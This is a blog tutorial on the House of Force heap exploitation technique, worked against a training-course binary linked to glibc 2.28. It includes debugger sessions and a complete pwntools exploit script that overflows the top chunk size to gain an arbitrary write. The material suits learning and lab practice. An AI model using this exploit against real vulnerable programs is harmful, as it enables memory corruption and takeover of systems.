# House of Force I

<details>

<summary>Table of Contents</summary>

* [Prerequisites](#prerequisites)
* [No Integrity Checks](#no-integrity-checks)
* [Top Chunk Overflow](#top-chunk-overflow)
  * [Finding the Target](#finding-the-target)
  * [Wrap Around](#wrap-around)
* [Overwriting the Target](#overwriting-the-target)
* [References](#references)

</details>

## Prerequisites

This technique specifically, is just going to be covering an arbitrary write via the House of Force. To see an example of the House of Force resulting in command execution, check the blog post below:

{% embed url="<https://crows-nest.gitbook.io/crows-nest/binary-exploitation/heap-exploitation/house-of-force/house-of-force-ii-code-execution>" %}
Command execution via `__malloc_hook`
{% endembed %}

This article is *not* going to cover the heap, how it works, or the functions typically seen in it like `malloc`, `realloc`, `free`, etc. I've already made a super in-depth blog post about that which you can find here if you'd like:

{% embed url="<https://crows-nest.gitbook.io/crows-nest/binary-exploitation/heap-exploitation/the-heap>" %}
Previous blog post on the heap
{% endembed %}

{% hint style="warning" %}
The techniques presented here are going to be pretty technical, so please do your due diligence by making sure you've got the prerequisite understanding down "to a T".
{% endhint %}

## No Integrity Checks

Remember in the [previous blog](https://crows-nest.gitbook.io/crows-nest/binary-exploitation/heap-exploitation/the-heap#allocating-memory), how we set up a function like the following:

```c
#include <stdlib.h>

int main(void) {
    void *p = malloc(1);
    return 0;
}
```

Then we set a breakpoint after the call to `malloc` and basically dissected the allocated chunk from the start of the heap, the chunk header, and user data, all the way to the top chunk.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FsdNGvqoYLz7k48YhnoV5%2Fimage.png?alt=media&#x26;token=c467758a-6dd2-4a85-b76c-a13130eb797f" alt=""><figcaption><p>Example from a different binary</p></figcaption></figure>

Well it turns out that up until `glibc v2.29`, the top chunk, i.e., this part:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FgRKEms2eW2FBa6yDR3Yr%2Fimage.png?alt=media&#x26;token=e767fc85-0d7a-454c-ac83-b65ae9dff2cf" alt=""><figcaption><p>Top chunk</p></figcaption></figure>

Was never prone to integrity checks. This means that up until `GLIBC < 2.29`, you could just supply any arbitrary value and overflow the heap. If we read the commit from the actual patch, which you can find [here](https://sourceware.org/git/?p=glibc.git;a=commit;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c):

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FLktSfAXdlJCHpPGledLN%2Fimage.png?alt=media&#x26;token=771a3303-cf5f-4afa-baf0-a26709876003" alt=""><figcaption><p>Commit for top chunk integrity check</p></figcaption></figure>

We can see the general steps that this type of exploit takes in order to compromise the heap. In essence, we're just overflowing the top chunk with a gigantic value such that our next allocation overwrites our target. Let's see this in action!

## Top Chunk Overflow

The binary I'm going to be using is called `house_of_force` and it was given to us after purchasing the "*Linux Heap Exploitation - Part 1*" course by *the amazing* **Max Kamper**.

{% embed url="<https://www.udemy.com/course/linux-heap-exploitation-part-1/>" %}
Max Kamper's excellent course on Heap Exploitation
{% endembed %}

{% hint style="warning" %}
Before anything, let's just start off by talking about what we're actually trying to do with this binary. The binary will present us with a target during its runtime that we're meant to overwrite.
{% endhint %}

Let's start by examining the binary:

```bash
cr0w@blackbird: ~/documents/binexp/heap/house_of_force
ζ ›› checksec house_of_force
[*] '/home/cr0w/documents/binexp/heap/house_of_force/house_of_force'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'../.glibc/glibc_2.28_no-tcache'
```

Cool, and if we interact with it, we can see the following:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F9ofzWVc4DX9c8HRPOvTI%2Fimage.png?alt=media&#x26;token=fe630247-fff4-4f15-bc47-e624e9beba02" alt=""><figcaption><p>Starting the binary</p></figcaption></figure>

The binary leaks the `puts` function and the start of the heap. As mentioned in the hint above, we're supposed to overwrite a target which we can see if we select option two (`2`):

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FCuiwmLWo43LiqyxmtmAp%2Fimage.png?alt=media&#x26;token=aeea9349-64ef-4454-a79c-7ad60cb3895e" alt=""><figcaption><p>Displaying the target</p></figcaption></figure>

As we can see, the target is a series of 7 "`X`"s. So, let's move on and examine option one (`1`):

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fw2n7itu02zAe3V4ND1wz%2Fimage.png?alt=media&#x26;token=efbacdda-6260-4b21-ad8d-41c4d24f2444" alt=""><figcaption><p>Allocating some memory with <code>malloc()</code> from the binary</p></figcaption></figure>

After selecting option one (`1`) in the menu, we're given an input to specify the size for an allocation, this section is presumably doing something simple like the following (although since I haven't reversed this section or seen the source code, I don't really know):

```c
void *p = malloc(size);
```

Next, we're asked to input some data which again, presumably just gets put into the user data section of the allocated heap chunk. That's all we can do for now, so let's attach this to `gdb` to:

1. Verify if the `malloc` function is allocated our specified size of bytes.
2. If the user data of the allocated heap chunk is being populated by our inputted data.

I'll open the binary inside of `gdb` and just run it:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FlHW6rvY2XcuCHOFpTgAK%2Fimage.png?alt=media&#x26;token=d7dfccf9-68ef-405f-a773-0bdcf8c54f15" alt=""><figcaption><p>Starting the binary inside of <code>gdb</code></p></figcaption></figure>

The first thing I'm going to do is quit the execution of the binary right now and verify if that heap address actually starts off at that address: `0x603000`:

```c
pwndbg> heap
Top chunk | PREV_INUSE
Addr: 0x603000
Size: 0x21001
```

Looks good! Okay, so let's restart with `r`, and do what we did outside of `gdb`, *inside* of `gdb` this time:

```c
pwndbg> r
Starting program: /home/cr0w/documents/binexp/heap/house_of_force/house_of_force

===============
|   HeapLAB   |  House of Force
===============

puts() @ 0x7ffff786df10
heap @ 0x603000

1) malloc 0/4
2) target
3) quit
> 1
size: 24
data: here's sum data :)
```

Now, after pressing enter, we can `^C` and examine the heap:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FjzzwZnVVlD5yAWngZiJm%2Fimage.png?alt=media&#x26;token=ecbc9d6f-8137-494e-a1d7-f82ed3d83ed1" alt=""><figcaption><p>Stopping the program</p></figcaption></figure>

So, like we've been doing for so long, let's inspect the heap chunks with `vis_heap_chunks (vis)`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F66KCOxIBBcvKUk2vTsMj%2Fimage.png?alt=media&#x26;token=a2e8c54e-9f5f-41d3-96a8-733b9abf9d6f" alt=""><figcaption><p>Heap chunk allocated</p></figcaption></figure>

Perfect. It's exactly as we were expecting. We requested `24 bytes` which is the minimum amount of user data that *can* be allocated to us before the chunk gets incremented by `16 bytes` from `0x20` to `0x30`. Let's actually try to allocate a size of `25 bytes` to see this mechanism at play once again (remember, if you have no idea what's going on right now or why it's `16 bytes`, read my previous blog post):

```c
pwndbg> c
Continuing.


1) malloc 1/4
2) target
3) quit
> 1
size: 25
data: sum more data here!
```

And now, if we inspect the heap, we can see it worked flawlessly:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F0fjQYgNH1RjxsgFdDrKJ%2Fimage.png?alt=media&#x26;token=ad922419-82df-40e0-9e6a-e924219af55f" alt=""><figcaption><p>Heap chunk of <code>0x31</code> gets allocated, as expected</p></figcaption></figure>

Okay, so perfect. It worked as intended, now, let's try to see if we can find a bug or something in here. If you recall the [no integrity checks](#no-integrity-checks) section, `GLIBC` up until version `2.29` didn't have any size integrity checks for the top chunk. This means that we could allocate an arbitrary size with `malloc` and then write way more than that size is able to hold, effectively overwriting the top chunk as well. Well, first things first, how do we know that this is even a vulnerable version of `glibc`? If we use the `vmmap` command, we can see the following:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FDQw4U3wfoXKQfsI6W8Ug%2Fimage.png?alt=media&#x26;token=eeaaf718-24ca-4b8c-a63b-c7ac53705e1e" alt=""><figcaption><p><code>glibc</code> version in use: <code>2.28</code></p></figcaption></figure>

Indeed, It's using a vulnerable version of `glibc`! We also knew this from the `checksec` command we ran in the beginning:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FAyjr8sQTYFtFEU89SPcZ%2Fimage.png?alt=media&#x26;token=09efa79d-3482-4158-919b-06be8b6288cf" alt=""><figcaption><p><code>glibc</code> version from <code>checksec</code></p></figcaption></figure>

Anyway, let's try to overflow the top chunk now. We'll start by allocating some bytes and then writing more than what's allocated for us, I'll just use a 100-character[^1] message (`0xdeadbeefcafebabe1337c0ded00d15ea5edbac0ff33db404f0dcafebabefacedfood`):

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F6fzWHvg1PiuGvcvOh5bE%2Fimage.png?alt=media&#x26;token=c5fa8bc6-2a4b-4357-93cb-51bf9ef39eae" alt=""><figcaption><p>Supplying <code>100 bytes</code> to our <code>24 byte</code> user data chunk</p></figcaption></figure>

Now, if we inspect the heap, we *should* see that our top chunk has been overwritten:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F6oYTHIeDd3CvaScWchol%2Fimage.png?alt=media&#x26;token=aaded739-b56b-429f-bf2d-d382b6d47656" alt=""><figcaption><p>Overwritten top chunk</p></figcaption></figure>

Boom! We've overwritten the top chunk :smile: Now, let's figure out how we can turn this into something more dangerous like an arbitrary write.

### Finding the Target

Hold on a second. Wait a minute! Hold your hor- okay, so where the hell is our target in memory *exactly*? Well, it's actually pretty easy to find out where our [7 X](#user-content-fn-2)[^2]s are. If we run the program, the target's already there waiting to be overwritten so we can just query it using `xinfo`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FT1aQH70NE9oWN30qffd6%2Fimage.png?alt=media&#x26;token=c45a8e1d-b3b8-4119-84b4-e7f82ef02fb0" alt=""><figcaption><p>Target location</p></figcaption></figure>

The last line shows that the target is written in the binary's `.data` section and furthermore, we can see that it's mapped to an address of `0x602010`. We're expecting to see an address full of Xs (`0x58` in hex) when we inspect it using `dq` or `x/s` or something:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FYTEcBMmS1xwHtyYFj0TY%2Fimage.png?alt=media&#x26;token=8624578e-a338-485d-82f2-163e1e48c9ef" alt=""><figcaption><p>Verified target location and value</p></figcaption></figure>

Perfect. It's all going so well. Now, how the f\*ck are we meant to overwrite our target when it's lower in memory than our goddamn top chunk is? What do I mean by this? Well, let's see the following (professionally designed) table of address values:

| Memory Region         |
| --------------------- |
| 0x602010 --> `target` |
| 0x603000 --> `heap`   |

If our target was at an address of something like `0x603010` or something, hell even if it was at an address of `0x700000`, we could *easily* overwrite the target. However, it's not. The target is in a region of memory lower than the top chunk and it's not like we can go backwards, clawing at the walls of the regions of memory lower than the start of the heap at `0x603000` like a bunch of mud gophers or cave moles. [Or *could* we](#user-content-fn-3)[^3]?

### Wrap Around

It turns out, if we make the top chunk a *big* enough value, it'll just start wrapping around until it reaches the target and even more past that point. We'll get this set up in a couple of moments. First, let's get what we've done so far set in an exploit script using `pwntools`.

{% embed url="<https://docs.pwntools.com/en/stable/>" %}
pwntools documentation
{% endembed %}

{% code title="kaw\.py" %}

```python
#!/usr/bin/env python3

from pwn import *

elf = context.binary = ELF("house_of_force", checksec=False)
libc = ELF(elf.runpath + b"/libc.so.6", checksec=False)
context.terminal = ['alacritty', '-e']

log.success("glibc 2.28 heap overwrite <<house of force>> (cr0w)")

env = {'LD_BIND_NOW': '1'}

gs = '''
continue
'''

def start():
    env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs, exe=elf.path, env=env, aslr=1)
    else:
        return process(elf.path, env=env, aslr=1)

def allocate(size, data):
    io.send(b"1") # select 1
    io.sendafter(b"size: ", f"{size}".encode())
    io.sendafter(b"data: ", data)
    io.recvuntil(b"> ") # reach > again for prompt

def diff(x, y):
    return (0xffffffffffffffff - x) + y

# print target
target = elf.sym.target
log.success("target (XXXXXXX) @ " + hex(target))

io = start()

# puts() leak
io.recvuntil(b"puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
log.success("libc leaked!")

# heap leak
io.recvuntil(b"heap @ ")
heap = int(io.recvline(), 16)
log.success("heap leaked!")
io.recvuntil(b"> ")
io.timeout = 0.1

# begin overflow
log.info("requesting malloc(), size: 24 bytes, data: 'O' * 24 + 0xffffffffffffffff")
log.info("malloc(24, (O * 24 + 0xffffffffffffffff))")

# set the top chunk to 0xffffffffffffffff
allocate(24, b"O" * 24 + p64(0xffffffffffffffff)) 
log.success("top chunk set to: 0xffffffffffffffff")
log.info("the next allocation will now result in an overwrite!")
displacement = diff(heap + 0x20, elf.sym.target - 0x20)
allocate(displacement, b"A")
io.interactive()
```

{% endcode %}

I came up with this script which is just a Frankenstein's monster recreation of the original exploit template given to us. I did this from the ground up to better understand what the script was doing exactly and this was immensely beneficial because now I can try my best to explain it to you! We'll explain the script as we progress through it. Right now, we're trying to prove the fact that if we input a big enough value, in this case, the maximum value (`0xffffffffffffffff`), it'll wrap around to our target (and past it which we need to account for - which we'll see when the time comes). So, let's start the script with the `GDB` argument so that a `gdb` session starts simultaneously with our script, which is awesome for debugging:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FHwT4gcl5RnDG1TzSUplC%2Fimage.png?alt=media&#x26;token=e2520e9a-90dd-4135-97e6-f70c32b79ab9" alt=""><figcaption><p>New terminal opens with a <code>gdb</code> session </p></figcaption></figure>

Okay, enough, let's figure out what this script is doing.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FDJn47CaJyDevNs7ci9Lp%2Fimage.png?alt=media&#x26;token=87459731-6995-4feb-a6eb-27ad4f562582" alt=""><figcaption><p><code>malloc</code> wrapper</p></figcaption></figure>

Here we're just creating a simple `malloc` wrapper function that'll enter the data for us whenever the program gives us this dialogue:

```c
===============
|   HeapLAB   |  House of Force
===============

puts() @ 0x7f5006c6df10
heap @ 0xa9b000

1) malloc 0/4
2) target
3) quit
> 1
size: 24
data: this is tedious
```

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FFDwuF0iBQAr0enbRhdtQ%2Fimage.png?alt=media&#x26;token=fcacaf80-5644-4be7-85b8-b8457bdb3dff" alt=""><figcaption><p>Difference finder</p></figcaption></figure>

This is a function that will return the difference in bytes so that we can figure out our offset to the target. Lastly, we get to this segment of code:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F7wkJaGlcJ3YRfAmage1v%2Fimage.png?alt=media&#x26;token=fd54e3de-c00c-4ad1-b167-f966923a3de7" alt=""><figcaption><p>The actual overwrite</p></figcaption></figure>

So, in this segment of the code, we get our `malloc` wrapper function to go through the regular procedure of requesting `24 bytes` except in the "data" section of it, it will populate the entire user data with those "O"s you see. Hold on... that means the next bytes it sets will just be overwriting the top chunk. Yes, precisely! This is why we've included that `0xffffffffffffffff` address right after the `24` O's, it's because that address will be overwriting the top chunk and it'll make the top chunk this impossibly large value. Furthermore, that address is the maximum value a hexadecimal address can actually be in 64-bit.

```c
pwndbg> print /d 0xffffffffffffffff
$1 = -1
```

So, let's step through this program and see if it's set up in the appropriate manner before we exploit this program! If we `^C` in the `gdb` instance, we get the all-to-familiar:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FZCbzJyB4S2MnasR1Gt4k%2Fimage.png?alt=media&#x26;token=6b3dfee1-e1af-42dc-b6c6-ec35b2d5224a" alt=""><figcaption><p><code>SIGINT</code> signal interrupt reached, we can debug</p></figcaption></figure>

At this point of the script's execution, the overflow should've already been done so now it's just a matter of checking the damage:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FgrlSDzKvIIvPJGRBhRCk%2Fimage.png?alt=media&#x26;token=d7493287-f5e1-49f2-93ca-985602509531" alt=""><figcaption><p>¡Dios mío!</p></figcaption></figure>

:cold\_sweat: Well... that's *quite* a lot of bytes. Let's continue to the start and see what we stumble across there:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FYJQ9PAsu9vzTvkBw76QH%2Fimage.png?alt=media&#x26;token=b7e2a15a-da5f-4091-9749-2af049beee2a" alt=""><figcaption><p>Beginning of the heap</p></figcaption></figure>

Upon first glance, it just seems like "Oh, cool! The target is there" However, *<mark style="background-color:orange;">if you take a second to really understand where this target is, you'll see the elegance of this exploit</mark>*. If you recall from the previous examples of allocating memory in the heap with `malloc`, you'll remember that the first part of the blue memory chunk is the heap chunk header. It includes the size field and some flags for metadata on it. *Right after that though,* is our user data *and would you look at where our target is...* The start of the user data section! This means that now if we use `malloc` to allocate any amount of bytes *<mark style="background-color:orange;">the first thing that'll get overwritten in the user data is going to be the target!</mark>* It's set up *perfectly* to get overwritten. Let's do it.

## Overwriting the Target

With the heap perfectly aligned and the target perfectly set up to get overwritten, let's continue the program inside of `gdb` with `c` so we can interact with our Python script again:

```c
pwndbg> c
Continuing.
```

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FXzOE66uLe8XQ8jeAenfV%2Fimage.png?alt=media&#x26;token=cb965e09-1453-44ee-b969-413b82d0e8ec" alt=""><figcaption><p>Back on the script, the target is still those X's</p></figcaption></figure>

Now, let's use option one (`1`) and request any size we feel like, I'll stick with `24 bytes`:

```c
1) malloc 2/4
2) target
3) quit
> $ 1
size: $ 24
data: $
```

Now, in this data section, whatever we write here will get allocated to the user data area that the target currently occupies. Let's think of something clever:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FFK9EBmAkMFLumwwBB8Fq%2Fimage.png?alt=media&#x26;token=4a743d73-c06e-4dbf-9e80-700c980af4e9" alt=""><figcaption><p>Data that'll overwrite the target</p></figcaption></figure>

After we press enter, we can go back into the debugger and `^C` to inspect the chunk:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FwmTk73Z3FTk7zdgr6K0n%2Fimage.png?alt=media&#x26;token=b463887d-82b7-4651-951b-376db5555ff1" alt=""><figcaption><p>Target user data overwritten with ours</p></figcaption></figure>

This looks extremely promising and for all intents and purposes, the target has been overwritten, let's do some sanity checks by proving this and printing out the value of the target before trying the same in the actual program to successfully call this a complete pwn.&#x20;

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FJL1xsEYWSogeg3jwzKyw%2Fimage.png?alt=media&#x26;token=dec325ee-c51f-4db3-8213-8ac37448ebf3" alt=""><figcaption><p>Target symbol, holding our data</p></figcaption></figure>

```nasm
pwndbg> dq target
0000000000602010     6e696874656d6f73 726576656c632067
0000000000602020     0000000000000a21 000000000120eff9
0000000000602030     0000000000000000 0000000000000000
0000000000602040     0000000000000000 0000000000000000
```

Now, let's continue one last time to see if the target changes on the binary itself.

```c
pwndbg> c
Continuing.
```

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FOHr7B7oJ5CcoPf2pyEZ8%2Fimage.png?alt=media&#x26;token=1317f574-c609-438c-8b38-804ea4ecc0cd" alt=""><figcaption><p>Target overwritten, f*ck yeah</p></figcaption></figure>

Look at that! We did it! The target's been overwritten. We've completely pwned this binary using the House of Force! Next, we'll cover a case of actual code execution using `malloc` hooks in the House of Force!&#x20;

## References

{% embed url="<https://www.udemy.com/course/linux-heap-exploitation-part-1/>" %}

{% embed url="<https://sourceware.org/git/?p=glibc.git;a=commit;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c>" %}

{% embed url="<https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/>" %}

[^1]: This length was totally arbitrary, you can supply whatever you want. Just your message is big enough to 1) fill up the user data, and 2) overwrite the QWORD top chunk value.

[^2]: Damn, playaaaaa ;) I see you.

[^3]: Cue the Vsauce music
